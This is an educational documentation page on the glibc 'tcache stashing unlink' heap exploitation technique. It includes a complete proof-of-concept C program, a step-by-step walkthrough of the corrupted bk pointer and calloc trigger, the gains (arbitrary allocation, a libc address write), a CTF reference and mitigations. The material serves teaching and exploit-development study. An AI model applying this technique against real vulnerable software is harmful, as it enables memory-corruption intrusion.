Skip to main content

Overview

The tcache stashing unlink attack exploits the mechanism by which glibc moves chunks from the smallbin into the tcache. When tcache bins have room (< 7 chunks), glibc will “stash” smallbin chunks into the tcache. By corrupting the bk pointer of a smallbin chunk, an attacker can:
  1. Make malloc return an arbitrary pointer
  2. Write a libc address to an arbitrary location
This technique leverages the tcache_stashing functionality where smallbin chunks are transferred to tcache bins when allocating from smallbins. The stashing process uses unlink-style operations that can be exploited.

Glibc Version Compatibility

Works on: glibc 2.27 through 2.31+ (tested on 2.27, 2.29, 2.31) Requirements:
  • Tcache must be enabled (glibc >= 2.26)
  • Must use calloc() at least once (calloc bypasses tcache initially)
  • Need a writable address to pass bck->fd = bin check

What This Technique Achieves

1

Create smallbin chunks

Allocate and free chunks to populate the smallbin
2

Corrupt victim->bk

Overwrite the bk pointer of a smallbin chunk to point to a fake chunk
3

Trigger stashing with calloc

Use calloc() to trigger tcache stashing from smallbin
4

Get arbitrary pointer and libc write

The fake chunk is stashed into tcache, and a libc address is written to fake_chunk->bk + 0x10

Key Concepts

Tcache Stashing Mechanism

When tcache has space and you allocate from smallbin, glibc will:
  1. Remove chunks from smallbin
  2. Place them into tcache (“stashing”)
  3. Continue until tcache is full (7 chunks) or smallbin is empty
During this process, glibc performs an unlink-like operation:
bck = victim->bk;
bck->fd = bin;  // This writes a libc address!

Why calloc()?

calloc() is special because it bypasses tcache initially and goes directly to smallbin/largebin. This is necessary to trigger the stashing behavior even when tcache has free chunks.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
    printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
    printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
    printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

    // stack_var emulate the fake_chunk we want to alloc to
    printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
    printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    printf("Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 chunks into tcache
    printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //convert into small bin
    printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

    malloc(0xa0);// size > 0x90

    //now 5 tcache bins
    printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

    malloc(0x90);
    malloc(0x90);

    printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

    calloc(1,0x90);

    printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);   

    printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

    assert(target == &stack_var[2]);
    return 0;
}

Step-by-Step Walkthrough

1. Prepare Fake Chunk Structure

unsigned long stack_var[0x10] = {0};
stack_var[3] = (unsigned long)(&stack_var[2]);  // fake_chunk->bk
Fake chunk layout:
stack_var[0] -> (unused)
stack_var[1] -> (unused)
stack_var[2] -> fd pointer (will point to next tcache chunk)
stack_var[3] -> bk pointer (set to &stack_var[2] to bypass check)
stack_var[4] -> Will receive libc address!
The fake chunk’s bk pointer must point to a writable address because glibc will execute:
bck->fd = bin;  // Writes to *(bk + 0x10)
We set bk = &stack_var[2], so the write goes to stack_var[4].

2. Setup Heap State

// Allocate 9 chunks
for(int i = 0; i < 9; i++) {
    chunk_lis[i] = malloc(0x90);
}

// Free 7 chunks to fill tcache (max 7 per bin)
for(int i = 3; i < 9; i++) {
    free(chunk_lis[i]);
}

// Free one more for tcache (now full with 7 chunks)
free(chunk_lis[1]);

// Free 2 more - these go to unsorted bin (tcache is full)
free(chunk_lis[0]);
free(chunk_lis[2]);
State after frees:
  • Tcache bin (0xa0): 7 chunks (full)
  • Unsorted bin: chunk0, chunk2

3. Convert to Smallbin

malloc(0xa0);  // Allocate larger size to trigger sorting
This causes unsorted bin chunks to be sorted into their respective bins:
  • Unsorted bin → Smallbin[0xa0]: chunk0, chunk2

4. Make Room in Tcache

malloc(0x90);  // Takes from tcache (6 remaining)
malloc(0x90);  // Takes from tcache (5 remaining)
Current state:
  • Tcache bin (0xa0): 5 chunks (has room for 2 more)
  • Smallbin[0xa0]: chunk0 ← chunk2

5. Corrupt victim->bk (Vulnerability Point)

This is where the vulnerability is exploited. An attacker with a write primitive corrupts the bk pointer of a smallbin chunk.
chunk_lis[2][1] = (unsigned long)stack_var;  // Overwrite bk pointer
Smallbin structure after corruption:
chunk0 ← chunk2
         ^     |
         |     v
         |   stack_var (fake chunk)

6. Trigger Stashing with calloc

calloc(1, 0x90);
What happens inside glibc:
  1. calloc() bypasses tcache, goes to smallbin
  2. Returns chunk0 to user
  3. Stashing begins: Move remaining smallbin chunks to tcache
  4. Process chunk2:
    bck = chunk2->bk;           // bck = stack_var
    bck->fd = bin;              // stack_var[2] = bin (libc address!)
    tcache_put(chunk2);         // Put chunk2 in tcache
    
  5. Process fake chunk (stack_var):
    bck = stack_var[3];         // bck = &stack_var[2] (our fake bk)
    bck->fd = bin;              // stack_var[4] = bin (another libc write!)
    tcache_put(&stack_var[2]);  // Put fake chunk in tcache!
    
Two key results:
  1. Our fake chunk is now in tcache
  2. A libc address was written to stack_var[4] (arbitrary write primitive!)

7. Get Arbitrary Pointer

target = malloc(0x90);  // Returns &stack_var[2]!
Success! malloc returned a pointer to our controlled stack memory.

Attack Summary Diagram

Before calloc:
  Tcache (0xa0): [ 5 chunks ]
  Smallbin[0xa0]: chunk0 ← chunk2 (victim) → stack_var (fake)

During calloc(1, 0x90):
  1. Return chunk0 to user
  2. Stash chunk2 → tcache
  3. Stash fake chunk → tcache
  4. Write libc addr to stack_var[4]

After calloc:
  Tcache (0xa0): [ 7 chunks ] (includes fake chunk)
  
Next malloc(0x90):
  Returns stack_var[2] (our fake chunk!)

Prerequisites

1

Smallbin chunks

Ability to fill tcache and create chunks in smallbin
2

Overwrite bk pointer

Vulnerability allowing corruption of a smallbin chunk’s bk pointer
3

Writable target

A writable memory address to bypass the bck->fd = bin check
4

calloc() usage

Ability to call calloc() to trigger stashing (or another path that triggers smallbin→tcache stashing)

What You Gain

1. Arbitrary allocation:
  • Make malloc return a pointer to your fake chunk location
  • Gain write access to stack, .bss, or other memory regions
2. Arbitrary write of libc address:
  • Write a libc address (main_arena pointer) to fake_chunk->bk + 0x10
  • Useful for:
    • Defeating ASLR (if you can read back the written address)
    • Overwriting function pointers with libc addresses
    • Creating fake structures that need libc pointers

Hitcon 2019 - One Punch Man

Real-world CTF challenge using tcache stashing unlink attack

Try It Yourself

Practice on Ret2 Wargames

Debug this technique in an interactive browser environment

Detection and Mitigation

Why this works:
  • Tcache stashing code doesn’t fully validate chunk pointers
  • The unlink-style operation trusts the bk pointer
  • No validation that chunks being stashed are from the heap
Potential mitigations:
  • Validate bk pointers during stashing
  • Check that chunks being moved to tcache are within heap bounds
  • Add safe-linking style protections to bk pointers
  • [Unsorted Bin Attack/techniques/bins/unsorted-bin-attack) - Similar bk pointer corruption
  • Tcache Poisoning - Direct tcache fd corruption
  • [House of Lore/techniques/house/house-of-lore) - Smallbin corruption for arbitrary allocation

Build docs developers (and LLMs) love